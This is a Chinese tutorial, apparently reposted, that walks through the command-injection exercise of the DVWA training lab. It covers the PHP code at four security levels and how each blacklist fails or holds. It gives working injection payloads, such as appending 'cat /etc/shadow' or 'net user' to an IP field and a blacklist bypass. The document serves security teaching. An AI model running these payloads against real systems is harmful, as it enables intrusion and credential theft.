DVWA Command Injection 通關教程


Command Injection 介紹

命令注入(Command Injection),對一些函數的參數沒有做過濾或過濾不嚴導致的,可以執行系統或者應用指令(CMD命令或者bash命令)的一種注入攻擊手段。PHP命令注入攻擊漏洞是PHP應用程序中常見的腳本漏洞之一。

判斷命令注入流程

是否調用系統命令
函數或函數的參數是否可控
是否拼接注入命令

命令連接符

command1 && command2 

&&表示先執行command1,執行成功后執行command 2,否則不執行command 2

command1 & command2

$表示先執行command 1,不管是否成功,都會執行command 2

 

command1 || command2

||表示先執行command1,執行失敗后,執行command2

 

command1 | command2

|表示將command 1的輸出作為command 2的輸入,只打印command 2執行的結果。

以上連接符在windows和linux環境下都支持。

下面對四種級別的代碼進行分析。

 

Low Security Level

DVWA Command Injection 通關教程
Web安全 / 2018-02-20 / 0 條評論 / 1,722 views

Command Injection 介紹
命令注入(Command Injection),對一些函數的參數沒有做過濾或過濾不嚴導致的,可以執行系統或者應用指令(CMD命令或者bash命令)的一種注入攻擊手段。PHP命令注入攻擊漏洞是PHP應用程序中常見的腳本漏洞之一。

判斷命令注入流程
是否調用系統命令
函數或函數的參數是否可控
是否拼接注入命令
命令連接符
command1 && command2   
&&表示先執行command1,執行成功后執行command 2,否則不執行command 2

command1 & command2
$表示先執行command 1,不管是否成功,都會執行command 2

command1 || command2
||表示先執行command1,執行失敗后,執行command2

command1 | command2
|表示將command 1的輸出作為command 2的輸入,只打印command 2執行的結果。

以上連接符在windows和linux環境下都支持。

下面對四種級別的代碼進行分析。

Low Security Level
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

stristr()函數

stristr(string,search,before_search)

stristr函數搜索字符串在另一字符串中的第一次出現,返回字符串的剩余部分(從匹配點),如果未找到所搜索的字符串,則返回false。詳細如下:

string    必需。規定被搜索的字符串。
search    必需。規定要搜索的字符串。如果該參數是數字,則搜索匹配該數字對應的 ASCII 值的字符。
before_search    可選。默認值為 "false" 的布爾值。如果設置為 "true",它將返回 search 參數第一次出現之前的字符串部分。
返回值:返回字符串的剩余部分(從匹配點)。如果未找到所搜索的字符串,則返回 FALSE。

PHP 版本:4+

更新日志:    
在 PHP 5.3 中,新增了 before_search 參數。
在 PHP 4.3 中,該函數變成是二進制安全的。

php_uname()函數

string php_uname ([ string $mode = "a" ] )

php_uname()函數會返回運行 php 的操作系統的相關描述。mode是單個字符,用於定義要返回什么信息:

‘a’:此為默認。包含序列s ,n,r,v,m 里的所有模式。

例如我的:

Windows NT WINDOWS-STORY 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) i586

s:操作系統名稱。例如:Windows NT
n:主機名。例如:WINDOWS-STORY
r:版本名稱。例如:6.1
v:版本信息。例如:build 7601 (Windows 7 Ultimate Edition Service Pack 1)
m:機器類型。例如:i586。


Exploit

Windows:

127.0.0.1&&net user

127.0.0.1&net user

127.0.0.1|net user

Linux:

127.0.0.1&&cat /etc/shadow

127.0.0.1&cat /etc/shadow

127.0.0.1|cat /etc/shadow

 

 

Medium Security Level

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

可以看到,相比Low Security Level的代碼,服務器端對ip參數做了過濾,即把&&、;刪除,本質上采用的是黑名單機制,但依舊存在安全問題。

Exploit

1、因為被過濾的只有&&與;,所以&與|不受影響:

Windows:

127.0.0.1&net user

127.0.0.1|net user

Linux:

127.0.0.1&cat /etc/shadow

127.0.0.1|cat /etc/shadow

2、由於使用的是str_replace把&&、;替換為空字符,因此可以采用以下方式繞過:

127.0.0.1&;&net user

這是因為127.0.0.1&;&net user中的;會被替換為空字符,變成了127.0.0.1& &net user 從而成功執行。

 

 

High Security Level

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

相比Medium Security Level的代碼,進一步完善了黑名單,但由於黑名單機制的局限性,我們依然可以繞過。

Exploit

黑名單看似過濾了所有的非法字符,但仔細觀察到這里:

'| ' => '',

是把|(注意這里|后有一個空格)替換為空字符,於是可以使用|進行利用:

command 1 | command 2

Windows:

127.0.0.1|net user

Linux:

127.0.0.1|cat /etc/shadow

 

 

Impossible Security Level

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

相關函數介紹:

stripslashes(string)

stripslashes函數會刪除字符串string中的反斜杠,返回已剝離反斜杠的字符串。

 

explode(separator,string,limit)

把字符串打散為數組,返回字符串的數組。參數separator規定在哪里分割字符串,參數string是要分割的字符串,可選參數limit規定所返回的數組元素的數目。

 

is_numeric(string)

檢測string是否為數字或數字字符串,如果是返回true,否則返回false。

可以看到,Impossible Security Level的代碼加入了Anti-CSRF token,同時對參數ip進行了嚴格的限制,只有諸如”數字.數字.數字.數字”的輸入才會被接收執行,因此不存在命令注入漏洞。

 

 

轉載自:AnCoLin's Blog|影風博客DVWA Command Injection 通關教程


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM